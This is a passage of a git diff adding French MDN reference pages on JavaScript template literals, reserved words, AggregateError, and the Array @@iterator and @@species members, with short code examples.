+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-iteration', 'Iteration')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Pour plus d'informations sur les générateurs définis par ES2015, voir <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function*">la page dédiée</a>.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/littéraux_gabarits/index.html b/files/fr/web/javascript/reference/littéraux_gabarits/index.html
new file mode 100644
index 0000000000..cea966a908
--- /dev/null
+++ b/files/fr/web/javascript/reference/littéraux_gabarits/index.html
@@ -0,0 +1,247 @@
+---
+title: Littéraux de gabarits
+slug: Web/JavaScript/Reference/Littéraux_gabarits
+tags:
+  - Chaîne de caractères
+  - ECMAScript 2015
+  - Guide
+  - JavaScript
+  - Littéraux de gabarits
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Les littéraux de gabarits sont des littéraux de chaînes de caractères permettant d'intégrer des expressions. Avec eux, on peut utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Dans les premières versions de la spécification ECMAScript 2015, cette fonctionnalité était intitulée « gabarits de chaîne de caractères ». Dans la suite de cet article, les expressions « gabarits de texte », « gabarits de libellés », « littéraux de gabarits » et « gabarits » seront équivalents.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">`texte`
+
+`ligne de texte 1
+ ligne de texte 2`
+
+`texte ${expression} texte`
+
+etiquette `texte ${expression} texte`
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les gabarits sont délimités par des caractères <a href="https://fr.wikipedia.org/wiki/Accent_grave">accent grave</a> (` `)  au lieu des apostrophes doubles ou simples. Les gabarits peuvent contenir des espaces réservés (<em>placeholders</em>). Ces espaces sont indiqués par le signe dollar ($) et des accolades (<code>${expression})</code>. Les expressions dans les espaces réservés et le texte compris dans ces espaces sont passés à une fonction.</p>
+
+<p>Pour créer la chaîne finale, la fonction par défaut concatène simplement les différentes parties en une seule chaîne. Toutefois, on peut utiliser une fonction spécifique pour obtenir un comportement différent et recomposer la chaîne avec une autre logique. On parlera alors <a href="#Gabarits_étiquetés">de gabarit étiqueté (cf. ci-après)</a>.</p>
+
+<pre class="brush: js">let rep = 42;
+console.log(`La réponse est ${rep}`); // Gabarit simple avec la concaténation par défaut
+
+function concatenationAdHoc(chaines, reponse){
+  let parite;
+  if(reponse % 2 === 0){
+    parite = "paire";
+  } else {
+    parite = "impaire";
+  }
+  return `${chaines[0]}${parite}.`;
+}
+// concaténation spécifique où on modifie la sortie
+console.log(concatenationAdHoc`La réponse est ${rep}.`);
+</pre>
+
+<p>Pour utiliser des accents graves dans un gabarit, on les échappera avec une barre oblique inverse (\) :</p>
+
+<pre class="brush: js">`\`` === "`"; // true</pre>
+
+<h3 id="Les_chaînes_de_caractères_multi-lignes">Les chaînes de caractères multi-lignes</h3>
+
+<p>Tous les caractères de saut de ligne insérés dans la source font partie du gabarit. Avec des chaînes de caractères normales, il aurait fallu utiliser la syntaxe suivante pour obtenir des chaînes multi-lignes :</p>
+
+<pre class="brush: js">console.log('ligne de texte 1\n'+
+'ligne de texte 2');
+// "ligne de texte 1
+// ligne de texte 2"</pre>
+
+<p>Pour obtenir le même effet avec les gabarits, on peut désormais écrire :</p>
+
+<pre class="brush: js">console.log(`ligne de texte 1
+ligne de texte 2`);
+// "ligne de texte 1
+//  ligne de texte 2"</pre>
+
+<h3 id="Interpolation_dexpressions">Interpolation d'expressions</h3>
+
+<p>Pour intégrer des expressions dans des chaînes de caractères normales, il fallait utiliser la syntaxe suivante :</p>
+
+<pre class="brush: js">let a = 5;
+let b = 10;
+console.log('Quinze vaut ' + (a + b) + ' et\nnon ' + (2 * a + b) + '.');
+// "Quinze vaut 15 et
+// non 20."</pre>
+
+<p>On peut désormais utiliser le sucre syntaxique fourni par les gabarits pour rendre les substitutions plus lisibles :</p>
+
+<pre class="brush: js">let a = 5;
+let b = 10;
+console.log(`Quinze vaut ${a + b} et
+non ${2 * a + b}.`);
+// "Quinze vaut 15 et
+// non 20."</pre>
+
+<h3 id="Imbrication_de_gabarits">Imbrication de gabarits</h3>
+
+<p>Parfois, l'imbrication d'un gabarit est la solution la plus simple (et peut-être la plus lisible) pour obtenir des chaînes de caractères configurables.</p>
+
+<p>En ES5 :</p>
+
+<pre class="brush: js">let classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');
+</pre>
+
+<p>En ES2015 avec des gabarits et sans imbrication :</p>
+
+<pre class="brush: js">const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;</pre>
+
+<p>En ES2015 avec des gabarits imbriqués :</p>
+
+<pre class="brush: js">const classes = `header $<strong>{</strong> isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}`<strong> </strong><strong>}`</strong>;</pre>
+
+<h3 id="Gabarits_étiquetés_2"><a id="Gabarits_étiquetés" name="Gabarits_étiquetés">Gabarits étiquetés</a></h3>
+
+<p>Les <em>gabarits étiquetés</em> (<em>tagged templates</em>) sont une forme plus avancée de gabarits. On peut ici utiliser une fonction pour analyser les différents fragments du gabarit. Le premier argument passé à la fonction est l'ensemble de valeurs issues de chaînes de caractères sous la forme d'un tableau. Les arguments ensuite passés à la fonction seront les expressions contenues dans le gabarit. La fonction pourra ainsi créer une chaîne avec une autre forme de concaténation et utiliser une logique spécifique. La fonction utilisée pour le formatage du gabarit peut être nommée comme n'importe quelle autre fonction.</p>
+
+<pre class="brush: js">let personne = 'Michou';
+let age = 28;
+
+function monEtiquette(chaines, expPersonne, expAge) {
+  let chn0 = chaines[0]; // "ce "
+  let chn1 = chaines[1]; // " est un "
+
+  // Techniquement, il y a une chaîne après
+  // l'expression finale (dans notre exemple),
+  // mais elle est vide (""), donc ne pas en tenir compte.
+  // var chn2 = chaines[2];
+
+  let chnAge;
+  if (expAge &gt; 99){
+    chnAge = 'centenaire';
+  } else {
+    chnAge = 'jeunot';
+  }
+  // On peut tout à fait renvoyer une chaîne construite
+  // avec un gabarit
+  return `${chn0}${expPersonne}${chn1}${chnAge}`;
+}
+
+let sortie = monEtiquette`ce ${ personne } est un ${ age }`;
+
+console.log(sortie);
+// ce Michou est un jeunot
+</pre>
+
+<h3 id="Chaînes_brutes">Chaînes brutes</h3>
+
+<p>La propriété spéciale <code>raw</code>, disponible sur le premier argument de la fonction du gabarit étiqueté, vous permet d'accéder aux chaînes brutes, telles qu'elles ont été entrées, sans traiter <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Utilisation_des_caractères_spéciaux">les séquences d'échappement</a>.</p>
+
+<pre class="brush: js">function etiquette(chaines) {
+  console.log(chaines.raw[0]);
+}
+
+etiquette`ligne de texte 1 \n ligne de texte 2`;
+// affichera dans la console :
+// "ligne de texte 1 \n ligne de texte 2"
+</pre>
+
+<p>En outre, la méthode {{jsxref("String.raw()")}} a pour fonction de créer des chaînes de caractères brutes, exactement comme la fonction de gabarit et de concaténation de chaînes par défaut le ferait :</p>
+
+<pre class="brush: js">let chn = String.raw`Salut\n${2+3}!`;
+// "Salut\n5!"
+
+chn.length;
+// 9
+
+chn.split('').join(',');
+// "S,a,l,u,t,\,n,5,!"
+</pre>
+
+<h3 id="Les_gabarits_étiquetés_et_les_séquences_déchappement">Les gabarits étiquetés et les séquences d'échappement</h3>
+
+<h4 id="Comportement_de_ES2016">Comportement de ES2016</h4>
+
+<p>Quant à ECMAScript 2016, les gabarits étiquetés se conforment aux règles de séquences d'échappement suivantes :</p>
+
+<ul>
+ <li>Les séquences d'échappement Unicode commencent par "\u", par exemple<code>\u00A9</code></li>
+ <li>Les séquences d'échappement pour les points de code Unicode sont indiquées par "\u{}", par exemple <code>\u{2F804}</code></li>
+ <li>Les séquences d'échappement hexadécimales commencent par "\x", par exemple <code>\xA9</code></li>
+ <li>Les séquences d'échappement octales commencent par un "\0o" suivi d'un (ou plusieurs) chiffre(s), par exemple <code>\0o251</code>.</li>
+</ul>
+
+<p>Cela signifie qu'un gabarit étiqueté comme celui qui suit pose problème du fait que, selon la grammaire ECMAScript, un analyseur recherchera des séquences d'échappement Unicode valides, mais trouvera la syntaxe mal formée :</p>
+
+<pre class="brush: js">latex`\unicode`
+// Génère, dans les anciennes versions ECMAScript (ES2016 et précédentes)
+// SyntaxError: malformed Unicode character escape sequence</pre>
+
+<h4 id="Révision_ES2018_pour_les_séquences_déchappement_illégales">Révision ES2018 pour les séquences d'échappement illégales</h4>
+
+<p>Les gabarits étiquetés doivent permettre l'intégration d'autres langages (par exemple, des <a href="https://fr.wikipedia.org/wiki/Langage_d%C3%A9di%C3%A9">DSL</a> ou du <a href="https://fr.wikipedia.org/wiki/LaTeX">LaTeX</a>), dans lesquels d'autres séquences d'échappement sont fréquentes. La proposition <a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a> pour ECMAScript (étape 4, à intégrer dans le standard ECMAScript 2018) supprime la restriction syntaxique des séquences d'échappement dans les gabarits étiquetés.</p>
+
+<p>Toutefois, les séquences d'échappement illégales doivent toujours être représentées dans la version "bidouillée". Elles seront affichées comme un élément {{jsxref("undefined")}} dans le tableau "bidouillé" :</p>
+
+<pre class="brush: js">function latex(chn) {
+ return { "bidouillee": chn[0], "brute": chn.raw[0] }
+}
+
+latex`\unicode`
+
+// { bidouillee: undefined, brute: "\\unicode" }</pre>
+
+<p>Notez que la restriction sur les séquences d'échappement est uniquement supprimée pour les gabarits <em>étiquetés</em>, et non pour les gabarits de libellés <em>non étiquetés</em> :</p>
+
+<pre class="brush: js example-bad">let mauvaise = `mauvaise séquence d'échappement : \unicode`;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale. Définie dans plusieurs sections de la spécification : <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-template-literals">Template Literals</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans plusieurs sections de la spécification : <a href="https://tc39.github.io/ecma262/#sec-template-literals">Template Literals</a>, <a href="https://tc39.github.io/ecma262/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.grammar.template_literals")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">Grammaire lexicale</a></li>
+ <li><em><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Template-like strings in ES3 compatible syntax</a></em></li>
+ <li><a href="https://tech.mozfr.org/post/2015/05/27/ES6-en-details-%3A-les-gabarits-de-chaines-de-caracteres"><em>ES6 en détails : les gabarits de libellé</em> sur tech.mozfr.org</a></li>
+ <li><em><a href="https://www.styled-components.com/">Styled Components</a></em></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/mots_réservés/index.html b/files/fr/web/javascript/reference/mots_réservés/index.html
new file mode 100644
index 0000000000..01dfd777be
--- /dev/null
+++ b/files/fr/web/javascript/reference/mots_réservés/index.html
@@ -0,0 +1,93 @@
+---
+title: Mots réservés
+slug: Web/JavaScript/Reference/Mots_réservés
+translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords
+---
+<h3 id="Introduction">Introduction</h3>
+
+<p>Cet annexe présente les mots réservés. Les mots réservés ne doivent pas être utilisés en tant que noms de variables, de fonctions, de méthodes ou d'identifiants d'objets parce-que <a href="/fr/ECMAScript" title="fr/ECMAScript">ECMAScript</a> spécifie une utilité spéciale pour eux.</p>
+
+<h3 id="Mots_actuellement_réservés">Mots actuellement réservés</h3>
+
+<p>Voici la liste des mots réservés actuellement utilisés en JavaScript :</p>
+
+<ul>
+ <li><a href="/en/JavaScript/Reference/Statements/break" title="en/JavaScript/Reference/Statements/break">break</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/switch" title="en/JavaScript/Reference/Statements/switch">case</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/try...catch" title="en/JavaScript/Reference/Statements/try...catch">catch</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/continue" title="en/JavaScript/Reference/Statements/continue">continue</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/debugger" title="en/JavaScript/Reference/Statements/debugger">debugger</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/switch" title="en/JavaScript/Reference/Statements/switch">default</a></li>
+ <li><a href="/en/JavaScript/Reference/Operators/Special/delete" title="en/JavaScript/Reference/Operators/Special/delete">delete</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/do...while" title="en/JavaScript/Reference/Statements/do...while">do</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/if...else" title="en/JavaScript/Reference/Statements/if...else">else</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/try...catch" title="en/JavaScript/Reference/Statements/try...catch">finally</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/function" title="en/JavaScript/Reference/Statements/function">function</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/if...else" title="en/JavaScript/Reference/Statements/if...else">if</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/for...in" title="en/JavaScript/Reference/Statements/for...in">in</a></li>
+ <li><a href="/en/JavaScript/Reference/Operators/Special/instanceof" title="en/JavaScript/Reference/Operators/Special/instanceof">instanceof</a></li>
+ <li><a href="/en/JavaScript/Reference/Operators/Special/new" title="en/JavaScript/Reference/Operators/Special/new">new</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/return" title="en/JavaScript/Reference/Statements/return">return</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/switch" title="en/JavaScript/Reference/Statements/switch">switch</a></li>
+ <li><a href="/en/JavaScript/Reference/Operators/Special/this" title="en/JavaScript/Reference/Operators/Special/this">this</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/throw" title="en/JavaScript/Reference/Statements/throw">throw</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/try...catch" title="en/JavaScript/Reference/Statements/try...catch">try</a></li>
+ <li><a href="/en/JavaScript/Reference/Operators/Special/typeof" title="en/JavaScript/Reference/Operators/Special/typeof">typeof</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/var" title="en/JavaScript/Reference/Statements/var">var</a></li>
+ <li><a href="/en/JavaScript/Reference/Operators/Special/void" title="en/JavaScript/Reference/Operators/Special/void">void</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/while" title="en/JavaScript/Reference/Statements/while">while</a></li>
+ <li><a href="/en/JavaScript/Reference/Statements/with" title="en/JavaScript/Reference/Statements/with">with</a></li>
+</ul>
+
+<h3 id="Mots_réservés_dans_le_futur">Mots réservés dans le futur</h3>
+
+<p>Les mots suivants sont de futurs mots-clés réservés par la spécification ECMAScript. Bien qu'ils ne soient actuellement pas utilisés, ils ne peuvent pas servir d'identifiants d'objets car ils seront bientôt fonctionnels. (Notez que pour le moment, Mozilla réserve ces mots-clés seulement dans le code en mode strict. La plupart des autres navigateurs réservent ces mots-clés pour tout le code, qu'il soit strict ou non. Leur utilisation est souvent incompatbile entre les différents navigateurs. Mozilla réservera ces mots-clés à un code normal à l'avenir, pour correspondre aux spécifications des autres navigateurs).</p>
+
+<p>{{ gecko_minversion_header("2.1") }}</p>
+
+<div class="note"><strong>Note: </strong>En commençant avec Javascript 1.9 (Firefox 5), ces derniers seront réservés même lorsque vous n'êtes pas en mode strict.<br>
+<strong>Note: La version de JavaScript ci-dessus n'est pas officielle.</strong></div>
+
+<ul>
+ <li>class</li>
+ <li>enum</li>
+ <li><a href="/en/JavaScript/Reference/Statements/export" title="en/JavaScript/Reference/Statements/export">export</a></li>
+ <li>extends</li>
+ <li><a href="/en/JavaScript/Reference/Statements/import" title="en/JavaScript/Reference/Statements/import">import</a></li>
+ <li>super</li>
+</ul>
+
+<p>Les mots suivants sont de futurs mots-clés réservés par la spécification ECMAScript lorsqu'ils se situent dans de code en mode strict, excepté lorsque <code>let</code> et <code>yield</code> ont leurs fonctions traditionnelles dans le code compilé comme JavaScript 1.7 ou plus:</p>
+
+<ul>
+ <li>implements</li>
+ <li>interface</li>
+ <li><a href="/JavaScript/Reference/Statements/let" title="JavaScript/Reference/Statements/let">let</a></li>
+ <li>package</li>
+ <li>private</li>
+ <li>protected</li>
+ <li>public</li>
+ <li>static</li>
+ <li><a href="/en/JavaScript/Reference/Statements/yield" title="en/JavaScript/Reference/Statements/yield">yield</a></li>
+</ul>
+
+<p>Note that while <a href="/en/JavaScript/Reference/Statements/const" title="en/JavaScript/Reference/Statements/const">const</a> is reserved as a future keyword by the ECMAScript specification, Mozilla and most other browsers implement it as a non-standard extension that may be standardized in a future version of ECMAScript.  Further, <a href="/en/JavaScript/Reference/Statements/export" title="en/JavaScript/Reference/Statements/export">export</a> and <a href="/en/JavaScript/Reference/Statements/import" title="en/JavaScript/Reference/Statements/import">import</a> were once implemented in Mozilla but have returned to reserved status in recent releases.</p>
+
+<p>Additionally, the literals <code>null</code>, <code>true</code>, and <code>false</code> are reserved in ECMAScript for their normal uses.</p>
+
+<h2 id="Reserved_Word_Usage">Reserved Word Usage</h2>
+
+<p>Reserved Words actually only apply to Identifiers (vs. <span class="comment-copy">IdentifierNames) </span>. <span class="comment-copy">As described in <a href="http://es5.github.com/#A.1" rel="nofollow">es5.github.com/#A.1</a>, these are all IdentifierNames which do not exclude ReservedWords.</span></p>
+
+<p><span class="comment-copy"><code>a.import</code></span><br>
+ <span class="comment-copy"><code>a["import"]</code></span><br>
+ <span class="comment-copy"><code>a = { import: "test" }</code>.</span></p>
+
+<p><span class="comment-copy">On the other hand the following is illegal because it's an Identifier, which is an IdentifierName without the Reserved Words. Identifiers are used for FunctionDeclaration and FunctionExpression.</span></p>
+
+<p><span class="comment-copy"><code>function import() {}</code></span></p>
+
+<p> </p>
+
+<p>{{ languages( { "es": "es/Referencia_de_JavaScript_1.5/Palabras_Reservadas", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Mots_r\u00e9serv\u00e9s", "ja": "ja/Core_JavaScript_1.5_Reference/Reserved_Words", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/S\u0142owa_zarezerwowane" } ) }}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html b/files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html
new file mode 100644
index 0000000000..782a968074
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html
@@ -0,0 +1,88 @@
+---
+title: AggregateError
+slug: Web/JavaScript/Reference/Objets_globaux/AggregateError
+tags:
+  - AggregateError
+  - Classe
+  - Experimental
+  - Interface
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/AggregateError
+---
+<div>{{JSRef}}</div>
+
+<p>Un objet <code><strong>AggregateError</strong></code> représente une erreur lorsque plusieurs erreurs doivent être agrégées en une seule. Ce type d'exception est levée lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}} lorsque l'ensemble des promesses qui lui sont passées échouent.</p>
+
+<dl>
+</dl>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/AggregateError/AggregateError"><code>AggregateError()</code></a></dt>
+ <dd>Crée un nouvel objet <code>AggregateError</code>.</dd>
+</dl>
+
+<h2 id="Propriétés_des_instances">Propriétés des instances</h2>
+
+<dl>
+ <dt>{{JSxRef("Error.prototype.message", "AggregateError.prototype.message")}}</dt>
+ <dd>Le message d'erreur. La valeur par défaut est <code>""</code>.</dd>
+ <dt>{{JSxRef("Error.prototype.name", "AggregateError.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur. La valeur par défaut est <code>"AggregateError"</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Intercepter_une_erreur_AggregateError">Intercepter une erreur <code>AggregateError</code></h3>
+
+<pre class="brush: js; notranslate">Promise.any([
+  Promise.reject(new Error("une erreur")),
+]).catch(e =&gt; {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "All Promises rejected"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "une erreur" ]
+});
+</pre>
+
+<h3 id="Créer_un_objet_AggregateError">Créer un objet <code>AggregateError</code></h3>
+
+<pre class="brush: js; notranslate">try {
+  throw new AggregateError([
+    new Error("une erreur"),
+  ], 'Coucou');
+} catch (e) {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "Coucou"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "une erreur" ]
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Promise.any', '#sec-aggregate-error-object-structure', 'AggregateError')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.AggregateError")}}</p>
+
+<h2 id="Voir">Voir</h2>
+
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html
new file mode 100644
index 0000000000..1843ed0508
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html
@@ -0,0 +1,90 @@
+---
+title: 'Array.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Objets_globaux/Array/@@iterator
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>La valeur initiale de la propriété <code><strong>@@iterator</strong></code> correspond à la valeur initiale fournie par l'itérateur {{jsxref("Array.prototype.values()", "values")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>[Symbol.iterator]()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La première valeur fournie par {{jsxref("Array.prototype.values()","values()")}}. Si on utilise <code>arr[Symbol.iterator]</code> (sans les parenthèses) le navigateur renverra par défaut la fonction {{jsxref("Array.prototype.values()", "values()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_un_tableau_avec_une_boucle_for...of">Parcourir un tableau avec une boucle <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr  = arr[Symbol.iterator]();
+// il est nécessaire que l'environnement supporte
+// les boucles for..of et les variables
+// utilisées avec let ou const ou var
+for (let letter of eArr) {
+  console.log(letter);
+}
+</pre>
+
+<h3 id="Parcourir_un_tableau_avec_next">Parcourir un tableau avec <code>next</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.@@iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html
new file mode 100644
index 0000000000..58064e558b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html
@@ -0,0 +1,78 @@
+---
+title: 'get Array[@@species]'
+slug: Web/JavaScript/Reference/Objets_globaux/Array/@@species
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété d'accesseur <code><strong>Array[@@species]</strong></code> renvoie le constructeur <code>Array</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Array[Symbol.species]
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le constructeur {{jsxref("Array")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> renvoie le constructeur par défaut pour les objets <code>Array</code>. Les constructeurs des sous-classes peuvent le surcharger afin de modifier l'affectation du constructeur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La propriété renvoie le constructeur par défaut, dans le cas des objets <code>Array</code>, c'est le constructeur <code>Array</code> :</p>
+
+<pre class="brush: js">Array[Symbol.species]; // function Array()</pre>
+
+<p>Pour un objet dérivé, la valeur de <code>species</code> pour une classe <code>MonArray</code> sera le constructeur de cette classe. Vous pouvez surcharger ce comportement afin de renvoyer le constructeur <code>Array</code> :</p>
+
+<pre class="brush: js">class MonArray extends Array {
+  // On surcharge le symbole species
+  // pour renvoyer le constructeur Array parent
+  static get [Symbol.species]() { return Array; }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.@@species")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
